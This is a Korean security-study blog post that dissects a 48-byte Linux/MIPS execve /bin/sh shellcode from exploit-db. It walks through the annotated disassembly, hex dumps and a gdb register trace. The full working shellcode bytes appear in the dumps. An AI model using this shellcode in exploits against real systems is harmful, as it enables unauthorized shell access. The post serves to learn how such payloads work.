Hacking Arts
[MIPS/x86] execve /bin/sh 본문
Linux/MIPS - execve /bin/sh - 48 bytes
https://www.exploit-db.com/exploits/18162/
0x00400630 <main+0>: slti a2,zero,-1 # a2 reg 초기화
0x00400634 <main+4>: lui t7,0x2f2f # t7 reg에 2f2f0000으로 <<(redirect)이용해서 넣음
0x00400638 <main+8>: ori t7,t7,0x6269 # t7 reg 끝에 6269를 넣어 2f2f6269
0x0040063c <main+12>: sw t7,-12(sp) # t7 reg 2f2f6269(//bi)를 sp-12떨어진 공간에 저장
0x00400640 <main+16>: lui t6,0x6e2f # lui assem을 통해 t6에 같은 방법으로 << 한뒤 6e2f값을 넣음
0x00400644 <main+20>: ori t6,t6,0x7368 # ori assem을 통해 t6에 6e2f7368완성
0x00400648 <main+24>: sw t6,-8(sp) # t6에 있는 값인 6e2f7368
0x0040064c <main+28>: sw zero,-4(sp) # zero reg를 이용해서 sp-4 떨어진 위치 NULL push
0x00400650 <main+32>: addiu a0,sp,-12 # a0 reg에다가 sp-12주소를 저장
0x00400654 <main+36>: slti a1,zero,-1 # a1 reg 초기화
0x00400658 <main+40>: li v0,4011 # Load immediate; $a에 상수를 로드이며 v0값에서 4011가 execve를 syscall한다.
0x0040065c <main+44>: syscall 0x40404 # 그림1
sp-12(0x7fb66f4c) : 2f2f6269(//bi)
sp-8 (0x7fb66f50) : 6e2f7368(n/sh)
<그림1>
마지막 syscall 경우
400630: 2806ffff 3c0f2f2f 35ef6269 afaffff4 (...<.//5.bi....
400640: 3c0e6e2f 35ce7368 afaefff8 afa0fffc <.n/5.sh........
400650: 27a4fff4 2805ffff 24020fab 0000000c '...(...$.......
마지막 syscall 0x40404 경우
400630: 2806ffff 3c0f2f2f 35ef6269 afaffff4 (...<.//5.bi....
400640: 3c0e6e2f 35ce7368 afaefff8 afa0fffc <.n/5.sh........
400650: 27a4fff4 2805ffff 24020fab 0101010c '...(...$.......
마지막 syscall 0x10101 경우
400630: 2806ffff 3c0f2f2f 35ef6269 afaffff4 (...<.//5.bi....
400640: 3c0e6e2f 35ce7368 afaefff8 afa0fffc <.n/5.sh........
400650: 27a4fff4 2805ffff 24020fab 0040404c '...(...$....@@L
마지막에 null문자 생기는 걸 막기 위해 0x40404를 넣는 것 같다. 이유는 모르겠다. 찾아봐야겠습니다.
(gdb) disas main
Dump of assembler code for function main:
0x00400630 <main+0>: slti a2,zero,-1
0x00400634 <main+4>: lui t7,0x2f2f
0x00400638 <main+8>: ori t7,t7,0x6269
0x0040063c <main+12>: sw t7,-12(sp)
0x00400640 <main+16>: lui t6,0x6e2f
0x00400644 <main+20>: ori t6,t6,0x7368
0x00400648 <main+24>: sw t6,-8(sp)
0x0040064c <main+28>: sw zero,-4(sp)
0x00400650 <main+32>: addiu a0,sp,-12
0x00400654 <main+36>: slti a1,zero,-1
0x00400658 <main+40>: li v0,4011
0x0040065c <main+44>: syscall 0x40404
End of assembler dump.
(gdb) b *main+44
Breakpoint 1 at 0x40065c
(gdb) r
Starting program: /root/bof/sc
Breakpoint 1, 0x0040065c in main ()
(gdb) info reg
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000fab 2aad27e0 7ffa0c7c 00000000 00000000 00000061
t0 t1 t2 t3 t4 t5 t6 t7
R8 2ac5b1e4 0ffffffe 00000002 0000000a 2aadaef8 2aac90b4 6e2f7368 2f2f6269
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 00517e08 00517e48 004f0000 00000063 0000006c
t8 t9 k0 k1 gp sp s8 ra
R24 f0000000 00400630 00000000 00000000 2ac61960 7ffa0c88 00000061 2aaf3168
status lo hi badvaddr cause pc
0000a413 00005e17 000001a5 2ab0cc50 10800024 0040065c
fcsr fir restart
00000000 00000000 00000000
마지막 호출 당시 info reg 모습 아마도 v0,a0,a1,a2를 인자로 사용하는 것같은데
intel에서 eax는 v0가 a0는 ebx // a1는 ecx //a2는 edx를 뜻하는 것 같습니다.
'System > Shellcode' 카테고리의 다른 글
[Intel/x86] Setuid Shell code (37Byte) (0) | 2014.09.02 |
---|---|
[Intel/x86] Setuid Shell code (48Byte) (0) | 2014.09.02 |